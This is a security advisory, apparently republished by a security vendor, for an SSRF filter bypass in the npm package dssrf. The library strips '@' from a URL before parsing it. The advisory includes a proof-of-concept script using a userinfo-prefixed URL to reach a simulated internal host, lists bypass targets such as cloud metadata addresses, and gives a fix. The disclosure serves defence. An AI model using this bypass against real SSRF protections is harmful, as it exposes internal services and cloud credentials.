Summary
dssrf has an SSRF bypass with removeatsymbolinstring
is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.
Vulnerability
In helpers.ts, is_url_safe does:
u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname; // resolved from the corrupted string
What happens step by step
Input: http://[email protected]/
remove_at_symbol_in_string→http://evil.com127.0.0.1/new URL(...)→hostname = "evil.com127.0.0.1"- Not a bare IP, not IPv6 → passes all IP checks
is_hostname_resolve_to_internal_ip("evil.com127.0.0.1")→ NXDOMAIN → returns false- Result:
true(safe), but any HTTP client using the original URL connects to127.0.0.1
Proof of Concept
import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';
// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');
const BYPASS_URL = 'http://[email protected]/';
const PLAIN_URL = 'http://10.0.0.1/';
// dssrf should block both, it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}') =`, await is_url_safe(PLAIN_URL), '← correctly blocked');
console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️ BYPASSED (should be false)');
// HTTP client with the bypass URL, gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
const res = await got(BYPASS_URL, { retry: { limit: 0 } });
console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️ VULNERABLE');
} catch (e) {
console.log(`got('${BYPASS_URL}') blocked:`, e.message);
}
Root Cause
@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.
Impact
- Affected version: 1.0.3 (latest)
- Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (
169.254.169.254), any internal hostname via userinfo prefix - Note: The GHSA-8p33-q827-ghj5 advisory patched version (
1.0.3) should be updated since this vector was not covered by that fix
Users are strongly advised to upgrade to dssrf 1.0.4
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Remove the remove_at_symbol_in_string call from is_url_safe and add a userinfo check after new URL():
const parsed = new URL(u);
// Reject userinfo, '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
return false;
}
A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.
Frequently Asked Questions
- What is CVE-2026-54722? CVE-2026-54722 is a high-severity security vulnerability in dssrf (npm), affecting versions <= 1.0.3. It is fixed in 1.0.4.
- Which versions of dssrf are affected by CVE-2026-54722? dssrf (npm) versions <= 1.0.3 is affected.
- Is there a fix for CVE-2026-54722? Yes. CVE-2026-54722 is fixed in 1.0.4. Upgrade to this version or later.
- Is CVE-2026-54722 exploitable, and should I be worried? Whether CVE-2026-54722 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54722 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54722? Upgrade
dssrfto 1.0.4 or later.